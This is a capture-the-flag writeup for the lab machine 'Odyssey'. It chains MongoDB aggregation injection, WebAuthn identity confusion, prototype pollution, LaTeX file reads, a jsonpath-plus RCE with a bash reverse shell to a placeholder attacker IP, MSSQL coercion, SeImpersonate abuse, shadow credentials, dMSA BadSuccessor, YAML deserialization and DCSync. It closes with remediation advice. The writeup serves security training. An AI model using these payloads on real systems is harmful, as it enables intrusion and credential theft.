$ cat writeup.md / 2026.08.27

HTB Odyssey writeup

Target: 10.129.14.217 · Linux web gateway · MSSQL · Windows Server 2025 Active Directory

Odyssey is an unusually deep chain across a Linux web application, a Windows SQL server, and a domain controller. The route begins with MongoDB aggregation injection and a WebAuthn identity-binding flaw, proceeds through prototype pollution, LaTeX file disclosure, and jsonpath-plus RCE, then crosses into Active Directory through SQL coercion, SeImpersonate privilege abuse, shadow credentials, dMSA BadSuccessor, a DPAPI oracle, unsafe YAML deserialization, and finally DCSync.

Note: Flag values are intentionally redacted. The user flag is at C:\Users\Administrator\Desktop\user.txt on ODYSSEY-DB; the root flag is at C:\Users\Administrator\Desktop\root.txt on DC01.

Attack path at a glance

  1. Find the Node/Express application on port 3000.
  2. Nest $lookup inside $facet to read pending_invites.
  3. Register a synthetic WebAuthn credential and authenticate with userHandle=admin.
  4. Pollute Object.prototype, enable raw LaTeX, and read the MDS diagnostic token.
  5. Exploit CVE-2025-1302 in jsonpath-plus 10.2.0 as webadmin.
  6. Reuse an application password with sudo and pivot to the internal subnet.
  7. Coerce and crack svc-mssql, then use its SQL sysadmin rights.
  8. Use SeImpersonatePrivilege to become SYSTEM on ODYSSEY-DB and read the user flag.
  9. Recover the machine hash and shadow svc-aegis-build.
  10. Create a dMSA BadSuccessor relationship and recover svc-aegis-deploy's key.
  11. Abuse Aegis Stream's DPAPI oracle and unsafe YAML import as svc-aegis-stream.
  12. Extract a delegated TGT, DCSync Administrator, and read the root flag as Domain Admin.

External enumeration

ping -c 3 -W 2 10.129.14.217
nmap -Pn -n -p- --min-rate 1500 --max-retries 2 -T4 10.129.14.217
nmap -Pn -n -sC -sV -p3000 --version-all 10.129.14.217
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Did not follow redirect to http://aegis.korvia.htb:3000/

I used non-privileged hostname resolution:

curl -sS --resolve aegis.korvia.htb:3000:10.129.14.217 \
  http://aegis.korvia.htb:3000/

MongoDB aggregation injection

The unauthenticated /api/v1/aegis-mds/search endpoint accepted a JSON aggregation pipeline. A top-level $lookup was blocked, but the validator did not recurse into a $facet sub-pipeline:

[
  {"$limit":1},
  {"$facet":{"x":[
    {"$lookup":{"from":"pending_invites","pipeline":[],"as":"y"}},
    {"$unwind":"$y"},
    {"$replaceRoot":{"newRoot":"$y"}}
  ]}}
]

This exposed a still-valid invite:

operator_id: op-2026-0042
token: dad657731b2c7a2190fa167b388a2ddbc17b78ba6c6be1c3b169c4cff97a5238
expires_at: 2126-05-15T00:00:00.000Z

WebAuthn identity confusion

The registration API accepted a generated P-256/ES256 credential with fmt=none attestation. At login, the application correctly checked the signature but selected the resulting session identity from the client-supplied userHandle. My client registered the operator credential and supplied admin during authentication:

python3 Odyssey/evidence/webauthn_forge.py \
  dad657731b2c7a2190fa167b388a2ddbc17b78ba6c6be1c3b169c4cff97a5238 \
  --user-handle admin
[+] register/finish: 200 {"ok":true,"operator_id":"op-2026-0042"}
[+] auth/finish: 200 {"handle":"admin","display_name":"System Administrator",
    "role":"Administrator","clearance":"Δ-5","redirect":"/dashboard"}

Prototype pollution and LaTeX file disclosure

The admin template renderer merged attacker-supplied overrides into defaults. This value enabled raw rendering globally through prototype pollution:

{"__proto__":{"allowRawBlocks":true}}

A raw LaTeX block could then read a local file with TeX primitives. A deliberate error made the renderer return the diagnostic transcript:

\newread\foo
\openin\foo=/etc/aegis-mds-diag.env
\loop\unless\ifeof\foo
  \read\foo to \line
  \message{^^J<<<\meaning\line>>>^^J}
\repeat
\errmessage{AEGIS-READ-END}
MDS_DIAG_TOKEN=bcdf42b953dcee715b8d81e38f0c5ded
"jsonpath-plus": "^10.2.0"

CVE-2025-1302 and Linux root

The diagnostic jpquery route passed expressions to vulnerable jsonpath-plus. After reviewing the public technique, I reduced it to a single child_process.exec() call and obtained a callback:

nc -lvnp 4444
python3 Odyssey/evidence/jsonpath_cve_2025_1302.py \
  "bash -c 'bash -i >& /dev/tcp/ATTACKER_VPN_IP/4444 0>&1'"

uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),27(sudo)

/home/webadmin/aegis/db/sql.js contained odyssey_app:opc0932k90%%lODFI93-++. The same password worked with sudo:

printf '%s\n' 'opc0932k90%%lODFI93-++' | sudo -S id
uid=0(root) gid=0(root) groups=0(root)

Root access disclosed the internal layout and audit publisher credential:

172.16.0.10  DC01.odyssey.htb
172.16.0.11  ODYSSEY-DB.odyssey.htb
172.16.0.12  Aegis web gateway

aegis_audit_publisher:Rxd!Qw6n8sP..2bJ@Wpx-2026

MSSQL coercion

A scoped reverse SOCKS tunnel through the web host provided access to the two target-owned internal systems. The publisher account was bulkadmin but not sysadmin. A BULK INSERT from a UNC path coerced the SQL service into authenticating to an SMB listener:

EXEC (
  'BULK INSERT aegis_audit.dbo.audit_ingest_staging
   FROM ''\\172.16.0.12\x\test''
   WITH (DATAFILETYPE = ''char'')'
);

Hashcat recovered the NetNTLMv2 password:

hashcat -m 5600 svc-mssql-netntlmv2.txt /usr/share/wordlists/rockyou.txt

ODYSSEY\svc-mssql:cml958782

The domain account was SQL sysadmin, so I enabled xp_cmdshell and checked the service token:

SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /all';

The token was High integrity with SeImpersonatePrivilege.

SYSTEM on ODYSSEY-DB and the user flag

I reviewed GodPotato source commit 59f66583474fb0297b7447551460e1072de324c0. It hooks a local COM RPC flow, accepts the RPCSS named-pipe connection, impersonates a SYSTEM token, and starts only the requested process. A per-assessment loader executed the reviewed assembly from xp_cmdshell.

nt authority\system
Mandatory Label\System Mandatory Level

The user flag was read from C:\Users\Administrator\Desktop\user.txt on ODYSSEY-DB. Registry hives recovered the domain machine secret:

reg save HKLM\SYSTEM C:\Users\Public\odyssey-system.save /y
reg save HKLM\SECURITY C:\Users\Public\odyssey-security.save /y
reg save HKLM\SAM C:\Users\Public\odyssey-sam.save /y

ODYSSEY-DB$ NT hash: 71bc6be8565f0c9871070c3912b1680d

Shadow credential and dMSA BadSuccessor

ODYSSEY-DB$ could modify svc-aegis-build's key credentials. Certipy temporarily added a credential, used PKINIT to recover the hash, and restored the original list:

certipy shadow auto \
  -u 'ODYSSEY-DB$@odyssey.htb' \
  -hashes ':71bc6be8565f0c9871070c3912b1680d' \
  -account svc-aegis-build \
  -target dc01.odyssey.htb -dc-ip 127.0.0.1

svc-aegis-build NT hash: bbc270509ec878cf516d5295fb4d774d

That account could create a delegated managed service account below OU=Migrations and write the two superseded-account attributes on svc-aegis-deploy. Workspace-local bloodyAD 2.5.5 created dmsa-ody-deploy$ with the deployment account as its BadSuccessor predecessor.

After adding a shadow credential and setting a self-authorization msDS-GroupMSAMembership descriptor, PKINIT returned the dMSA's current key:

dmsa-ody-deploy$ NT hash: 174d1d9c75c7ae2c2eb6776361daad28

A dMSA-aware S4U2self request disclosed keys for preceding managed accounts:

badS4U2self \
  'kerberos+nt://odyssey.htb\dmsa-ody-deploy$:174d1d9c75c7ae2c2eb6776361daad28@127.0.0.1/' \
  'krbtgt/odyssey.htb@odyssey.htb' \
  'dmsa-ody-deploy$@odyssey.htb' --dmsa

dMSA previous keys:
svc-aegis-deploy NT hash: 3a5026b2aa5ef2cbb7cb6a7be3a2bcfa

Pass-the-hash WinRM verified odyssey\svc-aegis-deploy, a member of Remote Management Users and AegisStream-Viewers.

Aegis Stream DPAPI oracle

Viewer members could access \\.\pipe\AegisStreamMgmt. Its diagnostic decrypt action passed a supplied blob to DPAPI in the service user's context. A viewer-signed request decrypted operator.wrap.bin:

STATUS=OK
WRAPPER=D5742ED26151833792FFD2D821959E0F1B85A1F922157639A6C7EC90C094D658
OPERATOR_BLOB=1TZcBcBcDvenMAy7WxkiJ/+MVOcAT1ri6P8T8WW1nBPuBv7YGBqHBdUu+xZpzbqRG4kCehfmy2bG70to

AES-256-GCM decryption produced the operator HMAC key:

4b690afb33fd7f1bd2c4b36fce121b8b291352a5a0ed8632a0654422f401a83c

Unsafe YAML deserialization

The operator-only CONFIG_IMPORT action accepted unrestricted CLR YAML tags. A signed ObjectDataProvider document launched cmd.exe:

--- !System.Windows.Data.ObjectDataProvider%2CPresentationFramework
ObjectInstance:
  !System.Diagnostics.Process%2CSystem.Diagnostics.Process
  StartInfo:
    !System.Diagnostics.ProcessStartInfo%2CSystem.Diagnostics.Process
    FileName: cmd.exe
    Arguments: '/c whoami > C:\ProgramData\AegisStream\logs\whoami.txt'
MethodName: Start
STATUS=OK
odyssey\svc-aegis-stream

Delegated TGT and DCSync

I inspected Rubeus tgtdeleg at source commit 74215f68ea70bd6a66c008da91bf5fe21d20b154. Its GSS-API delegation path extracted the service account's forwarded TGT without changing AD:

C:\ProgramData\AegisStream\Rubeus.exe tgtdeleg /nowrap

[+] Delegation request success
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi): ...
impacket-ticketConverter svc-aegis-stream.kirbi svc-aegis-stream.ccache

Default principal: svc-aegis-stream@ODYSSEY.HTB
Service principal: krbtgt/ODYSSEY.HTB@ODYSSEY.HTB

The account had directory replication rights:

export KRB5CCNAME="$PWD/svc-aegis-stream.ccache"
proxychains4 -q impacket-secretsdump -k -no-pass \
  -dc-ip 172.16.0.10 -target-ip 172.16.0.10 \
  -just-dc-user Administrator \
  'odyssey.htb/svc-aegis-stream@dc01.odyssey.htb'

Administrator NT hash: 890b9e96245f6895e06adfe92ad1e81f

Pass-the-hash WinRM provided the final proof:

odyssey\administrator
BUILTIN\Administrators
ODYSSEY\Domain Admins
ODYSSEY\Enterprise Admins
[root flag redacted]

The root flag was read from C:\Users\Administrator\Desktop\root.txt on DC01.

Credentials and keys

ContextPrincipal or keySecretImpact
Inviteop-2026-0042dad657731b2c7a2190fa167b388a2ddbc17b78ba6c6be1c3b169c4cff97a5238Credential registration
DiagnosticsMDS tokenbcdf42b953dcee715b8d81e38f0c5dedDiagnostic route access
Web/OSwebadmin / odyssey_appopc0932k90%%lODFI93-++sudo reuse
SQL publisheraegis_audit_publisherRxd!Qw6n8sP..2bJ@Wpx-2026bulkadmin
SQL serviceODYSSEY\svc-mssqlcml958782SQL sysadmin
MachineODYSSEY-DB$71bc6be8565f0c9871070c3912b1680dShadow build account
Buildsvc-aegis-buildbbc270509ec878cf516d5295fb4d774ddMSA control
dMSAdmsa-ody-deploy$174d1d9c75c7ae2c2eb6776361daad28Previous-key recovery
Deploysvc-aegis-deploy3a5026b2aa5ef2cbb7cb6a7be3a2bcfaWinRM and viewer access
Aegis StreamOperator HMAC key4b690afb33fd7f1bd2c4b36fce121b8b291352a5a0ed8632a0654422f401a83cCONFIG_IMPORT authorization
DomainAdministrator890b9e96245f6895e06adfe92ad1e81fDomain Admin

Remediation

  1. Remove client-controlled aggregation pipelines; recursively reject MongoDB operators and enforce allow-listed schemas.
  2. Bind WebAuthn credentials to a server-selected identity and never trust userHandle for account selection.
  3. Use prototype-safe merges and reject __proto__, constructor, and prototype.
  4. Disable raw TeX for untrusted content and sandbox document conversion away from secrets.
  5. Upgrade jsonpath-plus, remove arbitrary diagnostic expressions, and rotate the MDS token.
  6. Rotate all disclosed secrets and prohibit password reuse between applications, databases, sudo, and service accounts.
  7. Remove unnecessary bulkadmin, block outbound SMB from SQL servers, and disable or monitor xp_cmdshell.
  8. Remove unnecessary impersonation privileges from the SQL service and monitor privileged-token creation.
  9. Correct the AD ACLs on the build account, Migrations OU, and superseded-account attributes.
  10. Alert on key-credential and dMSA attribute changes.
  11. Remove the arbitrary DPAPI decrypt operation and isolate viewer/operator authorization keys.
  12. Use safe, data-only YAML deserialization; reject all CLR type tags.
  13. Remove replication rights from application service accounts and monitor DRS replication from non-DC hosts.
  14. Segment web, SQL, and domain-controller tiers with explicit east-west allow rules.